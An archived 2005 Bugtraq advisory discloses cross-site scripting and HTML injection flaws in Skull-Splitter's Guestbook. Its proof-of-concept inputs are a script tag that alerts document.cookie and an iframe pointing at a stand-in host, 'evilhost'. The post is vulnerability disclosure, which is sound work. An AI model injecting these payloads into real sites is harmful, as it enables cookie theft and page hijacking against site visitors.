lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: 14 May 2005 07:06:20 -0000
From: Morinex Eneco <m0r1n3x@...il.com>
To: bugtraq@...urityfocus.com
Subject: Skull-Splitter's Guestbook Multiple XXS/HTML injection




# Skull-Splitter's Guestbook Multiple XXS/HTML injection
# e-mail : morinex[at]marocmafia com
# date : 14-05-2k5
# shoutz : w00pie.nl


-Tested 
Localhost , skull-splitter.net.




>Target : Skull-Splitter's Guestbook
>Vulnerable Versions: Guestbook 1.0, 2.0 & 2.2
>URL : hhttp://www.skull-splitter.net/ - http://www.skull-splitter.net/misc/guestbook/

-Description

With this guestbook script your visitors have the possibility to drop you
a comment on your website, greet you, say hi or whatever simply by filling
out a short form. All the guestbook entries will be displayed on the guestbook-page.
You can specify how many entries you want to be displayed per page. If you have more
entries than that number, the oldest guestbook entries get moved to the next page.
In the admin area you can easily comment on, edit and delete guestbook entries.
You don't need any knowledge of any programming or database languages to use this script.
If you want to adjust the appereance of the pages though, you need to have a basic knowledge
of the markup language HTML. If you like you could even use a HTML editor to do so. Requires:
- PHP supporting webspace - a MySQL database (1 table).



-Cross site scripting aka XXS examples/PoCīS


1. Type in the title or content of msg

&lt;script&gt;alert(document.cookie)&lt;/script&gt;


- HTML injection

Type in the title or content of msg

2. <iframe src=http://evilhost/evil.php>


-Fix

Waiting for a patch of the vendor


-Original Advisory

http://www.m0r1n3x.com/Skull-splitter_adv.txt




***********************
Morinex Eneco
http://w00pie.nl
***********************


Powered by blists - more mailing lists